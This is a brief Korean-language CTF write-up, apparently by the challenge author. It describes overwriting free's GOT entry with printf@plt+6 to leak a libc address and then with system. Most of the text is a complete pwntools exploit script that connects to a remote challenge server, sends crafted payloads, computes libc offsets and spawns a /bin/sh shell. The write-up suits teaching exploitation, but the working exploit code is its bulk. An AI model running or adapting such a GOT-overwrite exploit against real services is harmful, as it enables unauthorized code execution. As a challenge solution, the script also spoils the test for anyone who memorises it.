복사가 가능한 만큼 size를 지정할 수 있고 원하는 곳에 메모리를 저장 할 수 있다.
이걸 이용해서 Exploit을 진행하면 된다.
free got를 printf@plt+6 을 주고 leak을 한다음에 다시 free got를 system 주소로 변환 후 Exploit을 하면된다.
코드는 최대한 간단하게 하였고 익스플로잇을 좀 복잡하게 하고 싶었다. 그게 아마 잘 통한거 같기도 하고...
#!/usr/bin/env python
from pwn import *
#p = process("./chall")\
p = remote("ctf-hackingcamp.com", 50505)
#p = remote("localhost", 50505)
context.log_level = "DEBUG"
#pause()
payload = p32(1)
payload += p32(0x4321)
payload += p32(3)
payload += p32(0)
payload += p32(0x41400646)
payload += "B"*(4+8+8)
payload += p32(0x601018)
p.send(payload);
payload = p32(1)
payload += p32(0x4321)
payload += p32(0)
payload += p32(0)
payload += p32(0x41601028)
payload += "B"*(4+8+8)
payload += p32(0x601030)
p.send(payload)
payload = p32(1)
payload += p32(0x1234)
payload += p32(0)
p.send(payload)
addr_leak = u64(p.recvuntil("\x7f")[-6:] + "\x41\x41")
base = addr_leak - 0xf7310 - 0x40
system = base + 0x453a0
success(hex(addr_leak))
success(hex(base))
success(hex(system))
pause()
payload = p32(1)
payload += p32(0x4321)
payload += p32(6)
payload += p32(0)
payload += p64(system)
payload += "B"*(4+8+4)
payload += p32(0x601018)
p.send(payload)
payload = p32(1)
payload += p32(0x4321)
payload += p32(7)
payload += p32(0)
payload += "/bin/sh;"
payload += "B"*(4+8+4)
payload += p32(0x6010c0)
#pause()
p.send(payload)
payload = p32(1)
payload += p32(0x1234)
payload += p32(0)
p.send(payload)
p.interactive()